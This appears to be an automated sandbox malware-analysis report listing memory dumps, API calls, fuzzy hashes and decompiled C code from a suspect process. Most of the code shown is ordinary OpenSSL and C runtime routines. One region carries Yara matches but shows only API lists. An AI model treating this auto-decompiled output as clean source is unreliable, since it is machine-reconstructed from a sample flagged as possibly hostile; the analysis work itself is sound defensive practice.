                          0x6d52e4ad
                          0x6d52e4ad
                          0x00000000
                          0x6d52e4ad
                          0x6d52e47b
                          0x6d52e47e
                          0x00000000
                          0x00000000
                          0x6d52e482
                          0x6d52e495
                          0x6d52e49b
                          0x6d52e49e
                          0x6d52e4a0
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d52e4a0
                          0x6d52e44a
                          0x6d52e44d
                          0x6d52e44f
                          0x6d52e454
                          0x6d52e454
                          0x6d52e459
                          0x00000000
                          0x6d52e459
                          0x6d52e41e
                          0x6d52e423
                          0x6d52e427
                          0x6d52e427
                          0x00000000

                          APIs
                          • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 6D52E439
                          • __isleadbyte_l.LIBCMT ref: 6D52E467
                          • MultiByteToWideChar.KERNEL32(?,00000009,6D4C2AC5,?,?,00000000,?,00000000,00000000,?,00000042,6D4C2AC5,?), ref: 6D52E495
                          • MultiByteToWideChar.KERNEL32(?,00000009,6D4C2AC5,00000001,?,00000000,?,00000000,00000000,?,00000042,6D4C2AC5,?), ref: 6D52E4CB
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                          • String ID:
                          • API String ID: 3058430110-0
                          • Opcode ID: 4844937b595fd7b824dabe21cdc422dc83c988e44bb456dccd2926decbf2f045
                          • Instruction ID: b5e9d6667dc7bddabd0da7e463c025f924aa94d0b2082752e2ffffa47fba4531
                          • Opcode Fuzzy Hash: 4844937b595fd7b824dabe21cdc422dc83c988e44bb456dccd2926decbf2f045
                          • Instruction Fuzzy Hash: 8031B431504246EFEB1A8E35C844BBA7BB5FF41324F124929E8A4C79D0E731E859DBD0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 83%
                          			E6D4D3FD0() {
                          				intOrPtr _t25;
                          				intOrPtr _t42;
                          				intOrPtr _t45;
                          				unsigned int _t46;
                          				void* _t47;
                          				unsigned int _t48;
                          				signed int _t51;
                          				signed int _t53;
                          				intOrPtr _t57;
                          				void* _t58;
                          
                          				_t57 =  *((intOrPtr*)(_t58 + 0xc));
                          				_t48 =  *(_t58 + 0x14);
                          				if(_t48 == 0) {
                          					L13:
                          					return 1;
                          				} else {
                          					_t42 =  *((intOrPtr*)(_t58 + 0x10));
                          					_t25 =  *((intOrPtr*)(_t42 + 0x14));
                          					_t45 = _t25 + _t48 * 8;
                          					if(_t45 < _t25) {
                          						 *((intOrPtr*)(_t42 + 0x18)) =  *((intOrPtr*)(_t42 + 0x18)) + 1;
                          					}
                          					 *((intOrPtr*)(_t42 + 0x14)) = _t45;
                          					_t46 =  *(_t42 + 0x5c);
                          					 *((intOrPtr*)(_t42 + 0x18)) =  *((intOrPtr*)(_t42 + 0x18)) + (_t48 >> 0x1d);
                          					if(_t46 == 0) {
                          						L8:
                          						_t51 = _t48 >> 6;
                          						if(_t51 != 0) {
                          							_push(_t51);
                          							_push(_t57);
                          							_push(_t42);
                          							E6D4D40B0();
                          							_t53 = _t51 << 6;
                          							_t58 = _t58 + 0xc;
                          							_t57 = _t57 + _t53;
                          							_t48 = _t48 - _t53;
                          						}
                          						if(_t48 != 0) {
                          							 *(_t42 + 0x5c) = _t48;
                          							E6D51F530(_t42 + 0x1c, _t57, _t48);
                          						}
                          						goto L13;
                          					} else {
                          						_t47 = _t42 + 0x1c;
                          						if(_t48 >= 0x40 || _t46 + _t48 >= 0x40) {
                          							E6D51F530(_t47 + _t46, _t57, 0x40);
                          							_push(1);
                          							_push(_t42 + 0x1c);
                          							_push(_t42);
                          							E6D4D40B0();
                          							 *(_t42 + 0x5c) = 0;
                          							_t57 = _t57 + 0x40;
                          							_t48 = _t48 - 0x40 - _t46;
                          							E6D51FE40(_t42 + 0x1c, 0, 0x40);
                          							_t58 = _t58 + 0x24;
                          							goto L8;
                          						} else {
                          							E6D51F530(_t47 + _t46, _t57, _t48);
                          							 *(_t42 + 0x5c) =  *(_t42 + 0x5c) + _t48;
                          							return 1;
                          						}
                          					}
                          				}
                          			}













                          0x6d4d3fd1
                          0x6d4d3fd6
                          0x6d4d3fdc
                          0x6d4d409e
                          0x6d4d40a4
                          0x6d4d3fe2
                          0x6d4d3fe3
                          0x6d4d3fe7
                          0x6d4d3fea
                          0x6d4d3fef
                          0x6d4d3ff1
                          0x6d4d3ff1
                          0x6d4d3ff6
                          0x6d4d3ff9
                          0x6d4d3fff
                          0x6d4d4005
                          0x6d4d406b
                          0x6d4d406d
                          0x6d4d4072
                          0x6d4d4074
                          0x6d4d4075
                          0x6d4d4076
                          0x6d4d4077
                          0x6d4d407c
                          0x6d4d407f
                          0x6d4d4082
                          0x6d4d4084
                          0x6d4d4084
                          0x6d4d4088
                          0x6d4d408e
                          0x6d4d4093
                          0x6d4d4098
                          0x00000000
                          0x6d4d4007
                          0x6d4d4007
                          0x6d4d400d
                          0x6d4d403f
                          0x6d4d4044
                          0x6d4d4049
                          0x6d4d404a
                          0x6d4d404b
                          0x6d4d4055
                          0x6d4d405f
                          0x6d4d4061
                          0x6d4d4063
                          0x6d4d4068
                          0x00000000
                          0x6d4d4017
                          0x6d4d401d
                          0x6d4d402a
                          0x6d4d4031
                          0x6d4d4031
                          0x6d4d400d
                          0x6d4d4005

                          APIs
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: _memmove$_memset
                          • String ID:
                          • API String ID: 1357608183-0
                          • Opcode ID: baa9edc53772679028abe63821c1517ab0cee33ecaf8c3e2215ca7b8ccaff8b5
                          • Instruction ID: 962107f664da1ae601f6a546495d95e06c3963c71ff1771c4012deee5d117b11
                          • Opcode Fuzzy Hash: baa9edc53772679028abe63821c1517ab0cee33ecaf8c3e2215ca7b8ccaff8b5
                          • Instruction Fuzzy Hash: FA2106B3A083155BD758CF19EC80F5777ACEF84794F12016AEE0C9B205E734ED058AA1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 83%
                          			E6D4D5980() {
                          				void* __ebp;
                          				intOrPtr _t25;
                          				intOrPtr _t42;
                          				intOrPtr _t45;
                          				unsigned int _t46;
                          				void* _t47;
                          				unsigned int _t48;
                          				signed int _t51;
                          				signed int _t53;
                          				intOrPtr _t57;
                          				void* _t58;
                          
                          				_t57 =  *((intOrPtr*)(_t58 + 0xc));
                          				_t48 =  *(_t58 + 0x14);
                          				if(_t48 == 0) {
                          					L13:
                          					return 1;
                          				} else {
                          					_t42 =  *((intOrPtr*)(_t58 + 0x10));
                          					_t25 =  *((intOrPtr*)(_t42 + 0x20));
                          					_t45 = _t25 + _t48 * 8;
                          					if(_t45 < _t25) {
                          						 *((intOrPtr*)(_t42 + 0x24)) =  *((intOrPtr*)(_t42 + 0x24)) + 1;
                          					}
                          					 *((intOrPtr*)(_t42 + 0x20)) = _t45;
                          					_t46 =  *(_t42 + 0x68);
                          					 *((intOrPtr*)(_t42 + 0x24)) =  *((intOrPtr*)(_t42 + 0x24)) + (_t48 >> 0x1d);
                          					if(_t46 == 0) {
                          						L8:
                          						_t51 = _t48 >> 6;
                          						if(_t51 != 0) {
                          							_push(_t51);
                          							_push(_t57);
                          							_push(_t42);
                          							E6D4D5A60();
                          							_t53 = _t51 << 6;
                          							_t58 = _t58 + 0xc;
                          							_t57 = _t57 + _t53;
                          							_t48 = _t48 - _t53;
                          						}
                          						if(_t48 != 0) {
                          							 *(_t42 + 0x68) = _t48;
                          							E6D51F530(_t42 + 0x28, _t57, _t48);
                          						}
                          						goto L13;
                          					} else {
                          						_t47 = _t42 + 0x28;
                          						if(_t48 >= 0x40 || _t46 + _t48 >= 0x40) {
                          							E6D51F530(_t47 + _t46, _t57, 0x40);
                          							_push(1);
                          							_push(_t42 + 0x28);
                          							_push(_t42);
                          							E6D4D5A60();
                          							 *(_t42 + 0x68) = 0;
                          							_t57 = _t57 + 0x40;
                          							_t48 = _t48 - 0x40 - _t46;
                          							E6D51FE40(_t42 + 0x28, 0, 0x40);
                          							_t58 = _t58 + 0x24;
                          							goto L8;
                          						} else {
                          							E6D51F530(_t47 + _t46, _t57, _t48);
                          							 *(_t42 + 0x68) =  *(_t42 + 0x68) + _t48;
                          							return 1;
                          						}
                          					}
                          				}
                          			}














                          0x6d4d5981
                          0x6d4d5986
                          0x6d4d598c
                          0x6d4d5a4e
                          0x6d4d5a54
                          0x6d4d5992
                          0x6d4d5993
                          0x6d4d5997
                          0x6d4d599a
                          0x6d4d599f
                          0x6d4d59a1
                          0x6d4d59a1
                          0x6d4d59a6
                          0x6d4d59a9
                          0x6d4d59af
                          0x6d4d59b5
                          0x6d4d5a1b
                          0x6d4d5a1d
                          0x6d4d5a22
                          0x6d4d5a24
                          0x6d4d5a25
                          0x6d4d5a26
                          0x6d4d5a27
                          0x6d4d5a2c
                          0x6d4d5a2f
                          0x6d4d5a32
                          0x6d4d5a34
                          0x6d4d5a34
                          0x6d4d5a38
                          0x6d4d5a3e
                          0x6d4d5a43
                          0x6d4d5a48
                          0x00000000
                          0x6d4d59b7
                          0x6d4d59b7
                          0x6d4d59bd
                          0x6d4d59ef
                          0x6d4d59f4
                          0x6d4d59f9
                          0x6d4d59fa
                          0x6d4d59fb
                          0x6d4d5a05
                          0x6d4d5a0f
                          0x6d4d5a11
                          0x6d4d5a13
                          0x6d4d5a18
                          0x00000000
                          0x6d4d59c7
                          0x6d4d59cd
                          0x6d4d59da
                          0x6d4d59e1
                          0x6d4d59e1
                          0x6d4d59bd
                          0x6d4d59b5

                          APIs
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: _memmove$_memset
                          • String ID:
                          • API String ID: 1357608183-0
                          • Opcode ID: 4d4b61187d8dc0ac16700b409fa82faf6504934e638fab2d1035dde93b7b4973
                          • Instruction ID: d3a6a00092c7416bc186b7c296d3c578dc7d209b2c40ea87bdec0bc29e28a97d
                          • Opcode Fuzzy Hash: 4d4b61187d8dc0ac16700b409fa82faf6504934e638fab2d1035dde93b7b4973
                          • Instruction Fuzzy Hash: C221F7B69042155BE710CE18ECC0EA637ACEF85764F220269ED0C9B345EB30ED44C6E1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 81%
                          			E6D4CAA60(void* __ebx, void* __edx, void* __ebp, void* __eflags, char* _a4, char* _a8) {
                          				void* __edi;
                          				void* __esi;
                          				intOrPtr* _t17;
                          				void* _t21;
                          				void* _t22;
                          				char* _t23;
                          				void* _t24;
                          
                          				_t21 = __edx;
                          				_t20 = __ebx;
                          				_t23 = _a8;
                          				_t22 = E6D4CAB50(_a4, _t23);
                          				_t35 = _t22;
                          				if(_t22 != 0) {
                          					_t24 = E6D4CB120(__ebx, _t21, _t22, 0x6d57ceec);
                          					__eflags = _t24;
                          					if(__eflags != 0) {
                          						E6D4CAD60(_t24, 0);
                          						E6D4CAD90(__ebp, _t24, 0x6a, 1, _t22);
                          						return _t24;
                          					} else {
                          						_push(_t22);
                          						E6D521DAC(__ebx, _t22, _t24, __eflags);
                          						__eflags = 0;
                          						return 0;
                          					}
                          				} else {
                          					E6D4C3670(__ebx, _t21, _t22, _t35, 2, 1, GetLastError(), ".\\crypto\\bio\\bss_file.c", 0xaf);
                          					_push("\')");
                          					_push(_t23);
                          					_push("\',\'");
                          					_push(_a4);
                          					E6D4C3220(5, "fopen(\'");
                          					if( *((intOrPtr*)(E6D522D08())) == 2) {
                          						L4:
                          						E6D4C3670(_t20, _t21, _t22, __eflags, 0x20, 0x6d, 0x80, ".\\crypto\\bio\\bss_file.c", 0xb6);
                          						__eflags = 0;
                          						return 0;
                          					} else {
                          						_t17 = E6D522D08();
                          						_t37 =  *_t17 - 6;
                          						if( *_t17 == 6) {
                          							goto L4;
                          						} else {
                          							E6D4C3670(__ebx, _t21, _t22, _t37, 0x20, 0x6d, 2, ".\\crypto\\bio\\bss_file.c", 0xb8);
                          							return 0;
                          						}
                          					}
                          				}
                          			}










                          0x6d4caa60
                          0x6d4caa60
                          0x6d4caa61
                          0x6d4caa70
                          0x6d4caa75
                          0x6d4caa77
                          0x6d4cab10
                          0x6d4cab15
                          0x6d4cab17
                          0x6d4cab2a
                          0x6d4cab35
                          0x6d4cab41
                          0x6d4cab19
                          0x6d4cab19
                          0x6d4cab1a
                          0x6d4cab22
                          0x6d4cab26
                          0x6d4cab26
                          0x6d4caa7d
                          0x6d4caa92
                          0x6d4caa97
                          0x6d4caa9c
                          0x6d4caa9d
                          0x6d4caaa2
                          0x6d4caaad
                          0x6d4caabd
                          0x6d4caae6
                          0x6d4caaf9
                          0x6d4cab01
                          0x6d4cab05
                          0x6d4caabf
                          0x6d4caabf
                          0x6d4caac4
                          0x6d4caac7
                          0x00000000
                          0x6d4caac9
                          0x6d4caad9
                          0x6d4caae5
                          0x6d4caae5
                          0x6d4caac7
                          0x6d4caabd

                          APIs
                            • Part of subcall function 6D4CAB50: MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,?,?,00000000), ref: 6D4CAB9B
                            • Part of subcall function 6D4CAB50: GetLastError.KERNEL32(?,?,?,?,00000000), ref: 6D4CABAD
                            • Part of subcall function 6D4CAB50: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,?,?,00000000), ref: 6D4CABCC
                            • Part of subcall function 6D4CAB50: GetLastError.KERNEL32(?,?,?,?,00000000), ref: 6D4CABD8
                          • GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000AF), ref: 6D4CAA87
                            • Part of subcall function 6D522D08: __getptd_noexit.LIBCMT ref: 6D522D08
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: ErrorLast$ByteCharMultiWide$__getptd_noexit
                          • String ID: ','$.\crypto\bio\bss_file.c$fopen('
                          • API String ID: 3781935072-2085858615
                          • Opcode ID: 359c1cfc91a5320b8ddaf5d58b77076af6109866c3f96d3553b78abec11770c6
                          • Instruction ID: 8d5e3b161e9e54772a87a028651f0ffbaeb542124175d75fdb3e37b520e3f280
                          • Opcode Fuzzy Hash: 359c1cfc91a5320b8ddaf5d58b77076af6109866c3f96d3553b78abec11770c6
                          • Instruction Fuzzy Hash: 8711273EB8932036E536A2643C07FAB25568FC272AF468025F704A92D2EB914C5681F3
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • VariantInit.OLEAUT32(?), ref: 029A2E64
                          • SysAllocString.OLEAUT32(?), ref: 029A2E8F
                          • VariantClear.OLEAUT32(?), ref: 029A2EEA
                          • SysFreeString.OLEAUT32(00000000), ref: 029A2EF5
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: StringVariant$AllocClearFreeInit
                          • String ID:
                          • API String ID: 760788290-0
                          • Opcode ID: 25749a0379ce3f8c209a08117ccb137a9d072ecd5ae233773df156b3b5a3868a
                          • Instruction ID: acc1c58882539c032668687827bcd9f65d569ab95fcea300b4d3caf991a08fcb
                          • Opcode Fuzzy Hash: 25749a0379ce3f8c209a08117ccb137a9d072ecd5ae233773df156b3b5a3868a
                          • Instruction Fuzzy Hash: 15216DB6E44318BFDB009BA4CC89DFB77BDEF88654F044424FA04EB240E630A8048BB0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E6D527C6F(void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
                          				intOrPtr _t25;
                          				void* _t26;
                          
                          				_t25 = _a16;
                          				if(_t25 == 0x65 || _t25 == 0x45) {
                          					_t26 = E6D5281C0(__eflags, _a4, _a8, _a12, _a20, _a24, _a28);
                          					goto L9;
                          				} else {
                          					_t34 = _t25 - 0x66;
                          					if(_t25 != 0x66) {
                          						__eflags = _t25 - 0x61;
                          						if(_t25 == 0x61) {
                          							L7:
                          							_t26 = E6D527CF5(_a4, _a8, _a12, _a20, _a24, _a28);
                          						} else {
                          							__eflags = _t25 - 0x41;
                          							if(__eflags == 0) {
                          								goto L7;
                          							} else {
                          								_t26 = E6D52843B(__esi, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
                          							}
                          						}
                          						L9:
                          						return _t26;
                          					} else {
                          						return E6D52837A(__esi, _t34, _a4, _a8, _a12, _a20, _a28);
                          					}
                          				}
                          			}





                          0x6d527c72
                          0x6d527c78
                          0x6d527ceb
                          0x00000000
                          0x6d527c7f
                          0x6d527c7f
                          0x6d527c82
                          0x6d527c9d
                          0x6d527ca0
                          0x6d527cc0
                          0x6d527cd2
                          0x6d527ca2
                          0x6d527ca2
                          0x6d527ca5
                          0x00000000
                          0x6d527ca7
                          0x6d527cb9
                          0x6d527cb9
                          0x6d527ca5
                          0x6d527cf0
                          0x6d527cf4
                          0x6d527c84
                          0x6d527c9c
                          0x6d527c9c
                          0x6d527c82

                          APIs
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                          • String ID:
                          • API String ID: 3016257755-0
                          • Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
                          • Instruction ID: 71e2fc076fe6fb8a629714603f0090c78599617103704d0e8a89595badf4419b
                          • Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
                          • Instruction Fuzzy Hash: 3201923244414EBBCF0A9F94CC01DEE3F22BB19354B458815FE2869570D333DAB5AB82
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • OpenProcess.KERNEL32(00000400,00000000,029A630F,?,?,?,029A630F), ref: 029A52F3
                          • GetExitCodeProcess.KERNEL32(00000000,00000000), ref: 029A5304
                          • Sleep.KERNEL32(000003E8,?,?,029A630F), ref: 029A530F
                          • CloseHandle.KERNEL32(00000000,?,?,029A630F), ref: 029A531F
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: Process$CloseCodeExitHandleOpenSleep
                          • String ID:
                          • API String ID: 126888380-0
                          • Opcode ID: 04073a68b214cfe986ab12444393ea3b19afbd2c4d312aa7179392f6d1b09339
                          • Instruction ID: 3c2791978fb410ae5b9a4ab115bf6e086136d5abf20a79bc9820d6d189757be8
                          • Opcode Fuzzy Hash: 04073a68b214cfe986ab12444393ea3b19afbd2c4d312aa7179392f6d1b09339
                          • Instruction Fuzzy Hash: A7E0ED32D8A318FBD3129BA0ED0DBAE7A6CEF0471AF500551FE01A2080CBB05E1187E9
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 46%
                          			E6D4CF260(void* __edx, intOrPtr* _a4, intOrPtr* _a8, intOrPtr* _a12) {
                          				intOrPtr _t26;
                          				signed int _t33;
                          				void* _t34;
                          				char* _t36;
                          
                          				_t34 = __edx;
                          				_t36 = _a8;
                          				_t26 =  *((intOrPtr*)(_t36 + 0x10));
                          				if(_t26 == 0 ||  *((intOrPtr*)(_t26 + 0x10)) == 0) {
                          				}
                          				_t33 =  *_t36;
                          				if(_t33 > 6) {
                          					L10:
                          					return 1;
                          				} else {
                          					switch( *((intOrPtr*)(_t33 * 4 +  &M6D4CF474))) {
                          						case 0:
                          							__eax =  *((intOrPtr*)(__esi + 8));
                          							__eflags = __eax;
                          							if(__eax == 0) {
                          								goto L16;
                          							} else {
                          								__eax = E6D4CF120(__ebx, __edx, __edi, _a4, __eax);
                          								goto L8;
                          							}
                          							goto L42;
                          						case 1:
                          							__edi = _a4;
                          							__eflags = __ebp;
                          							if(__ebp == 0) {
                          								L29:
                          								__eflags = _a12;
                          								if(_a12 != 0) {
                          									L32:
                          									__eflags =  *((intOrPtr*)(__esi + 0xc));
                          									__ebx =  *((intOrPtr*)(__esi + 8));
                          									_a8 = 0;
                          									if( *((intOrPtr*)(__esi + 0xc)) <= 0) {
                          										L36:
                          										__eflags = __ebp;
                          										if(__ebp == 0) {
                          											goto L10;
                          										} else {
                          											_push(0);
                          											_push(__esi);
                          											_push(__edi);
                          											_push(1);
                          											__eax =  *__ebp();
                          											__esp = __esp + 0x10;
                          											__eflags = __eax;
                          											if(__eflags != 0) {
                          												goto L10;
                          											} else {
                          												goto L38;
                          											}
                          										}
                          									} else {
                          										while(1) {
                          											__eax = E6D4D1E60(__edi, __ebx);
                          											__eflags = __eax;
                          											if(__eflags == 0) {
                          												break;
                          											}
                          											__eax = _a8;
                          											__ebx = __ebx + 0x14;
                          											__eax = _a8 + 1;
                          											_a8 = __eax;
                          											__eflags = __eax -  *((intOrPtr*)(__esi + 0xc));
                          											if(__eax <  *((intOrPtr*)(__esi + 0xc))) {
                          												continue;
                          											} else {
                          												goto L36;
                          											}
                          											goto L42;
                          										}
                          										__eax = E6D4CB4E0(__edi, __esi);
                          										goto L41;
                          									}
                          								} else {
                          									__eax = E6D4C2430( *((intOrPtr*)(__esi + 0x14)), ".\\crypto\\asn1\\tasn_new.c", 0xb3);
                          									 *__edi = __eax;
                          									__eflags = __eax;
                          									if(__eflags == 0) {
                          										goto L41;
                          									} else {
                          										E6D4D1C70(__edi, 0, __esi) = E6D4D1D10(__edi, __esi);
                          										goto L32;
                          									}
                          								}
                          							} else {
                          								_push(0);
                          								_push(__esi);
                          								_push(__edi);
                          								_push(0);
                          								__eax =  *__ebp();
                          								__esp = __esp + 0x10;
                          								__eflags = __eax;
                          								if(__eflags == 0) {
                          									goto L39;
                          								} else {
                          									__eflags = __eax - 2;
                          									if(__eax == 2) {
                          										goto L10;
                          									} else {
                          										goto L29;
                          									}
                          								}
                          							}
                          							goto L42;
                          						case 2:
                          							__edi = _a4;
                          							__eflags = __ebp;
                          							if(__ebp == 0) {
                          								L20:
                          								__eflags = _a12;
                          								if(_a12 != 0) {
                          									L23:
                          									__eax = E6D4D1E80(__edi, 0xffffffff, __esi);
                          									__eflags = __ebp;
                          									if(__ebp == 0) {
                          										goto L10;
                          									} else {
                          										_push(0);
                          										_push(__esi);
                          										_push(__edi);
                          										_push(1);
                          										__eax =  *__ebp();
                          										__esp = __esp + 0x10;
                          										__eflags = __eax;
                          										if(__eflags == 0) {
                          											L38:
                          											__eax = E6D4CB4E0(__edi, __esi);
                          											goto L39;
                          										} else {
                          											__eax = 1;
                          											return 1;
                          										}
                          									}
                          								} else {
                          									__eax = E6D4C2430( *((intOrPtr*)(__esi + 0x14)), ".\\crypto\\asn1\\tasn_new.c", 0x9a);
                          									 *__edi = __eax;
                          									__eflags = __eax;
                          									if(__eflags == 0) {
                          										goto L41;
                          									} else {
                          										__eax = E6D51FE40(__eax, 0,  *((intOrPtr*)(__esi + 0x14)));
                          										goto L23;
                          									}
                          								}
                          							} else {
                          								_push(0);
                          								_push(__esi);
                          								_push(__edi);
                          								_push(0);
                          								__eax =  *__ebp();
                          								__esp = __esp + 0x10;
                          								__eflags = __eax;
                          								if(__eflags == 0) {
                          									L39:
                          									E6D4C3670(__ebx, __edx, __edi, __eflags, 0xd, 0x79, 0x64, ".\\crypto\\asn1\\tasn_new.c", 0xd6) = 0;
                          									__eflags = 0;
                          									return 0;
                          								} else {
                          									__eflags = __eax - 2;
                          									if(__eax == 2) {
                          										goto L10;
                          									} else {
                          										goto L20;
                          									}
                          								}
                          							}
                          							goto L42;
                          						case 3:
                          							__eflags = __eax;
                          							if(__eax == 0) {
                          								goto L10;
                          							} else {
                          								__eax =  *__eax;
                          								__eflags = __eax;
                          								if(__eflags == 0) {
                          									goto L10;
                          								} else {
                          									__eax =  *__eax();
                          									__ecx = _a4;
                          									 *_a4 = __eax;
                          									goto L9;
                          								}
                          							}
                          							goto L42;
                          						case 4:
                          							if(_t26 == 0) {
                          								goto L10;
                          							} else {
                          								_t28 =  *((intOrPtr*)(_t26 + 4));
                          								if(_t28 == 0) {
                          									goto L10;
                          								} else {
                          									_push(_t36);
                          									_push(_a4);
                          									_t29 =  *_t28();
                          									goto L8;
                          								}
                          							}
                          							goto L42;
                          						case 5:
                          							L16:
                          							__eax = E6D4CF020(__ebx, __ecx, __edx, __edi, _a4, __esi);
                          							L8:
                          							L9:
                          							if(_t29 == 0) {
                          								L41:
                          								E6D4C3670(_t32, _t34, _t35, __eflags, 0xd, 0x79, 0x41, ".\\crypto\\asn1\\tasn_new.c", 0xcc);
                          								__eflags = 0;
                          								return 0;
                          							} else {
                          								goto L10;
                          							}
                          							goto L42;
                          					}
                          				}
                          				L42:
                          			}







                          0x6d4cf260
                          0x6d4cf263
                          0x6d4cf268
                          0x6d4cf26d
                          0x6d4cf26d
                          0x6d4cf278
                          0x6d4cf27e
                          0x6d4cf2a7
                          0x6d4cf2ad
                          0x6d4cf280
                          0x6d4cf280
                          0x00000000
                          0x6d4cf2c2
                          0x6d4cf2c5
                          0x6d4cf2c7
                          0x00000000
                          0x6d4cf2c9
                          0x6d4cf2ce
                          0x00000000
                          0x6d4cf2ce
                          0x00000000
                          0x00000000
                          0x6d4cf366
                          0x6d4cf36a
                          0x6d4cf36c
                          0x6d4cf38a
                          0x6d4cf38a
                          0x6d4cf38f
                          0x6d4cf3ce
                          0x6d4cf3ce
                          0x6d4cf3d2
                          0x6d4cf3d5
                          0x6d4cf3dd
                          0x6d4cf406
                          0x6d4cf406
                          0x6d4cf408
                          0x00000000
                          0x6d4cf40e
                          0x6d4cf40e
                          0x6d4cf410
                          0x6d4cf411
                          0x6d4cf412
                          0x6d4cf414
                          0x6d4cf416
                          0x6d4cf419
                          0x6d4cf41b
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4cf41b
                          0x6d4cf3e0
                          0x6d4cf3e0
                          0x6d4cf3e2
                          0x6d4cf3f1
                          0x6d4cf3f3
                          0x00000000
                          0x00000000
                          0x6d4cf3f5
                          0x6d4cf3f9
                          0x6d4cf3fc
                          0x6d4cf3fd
                          0x6d4cf401
                          0x6d4cf404
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4cf404
                          0x6d4cf44c
                          0x00000000
                          0x6d4cf451
                          0x6d4cf391
                          0x6d4cf39e
                          0x6d4cf3a6
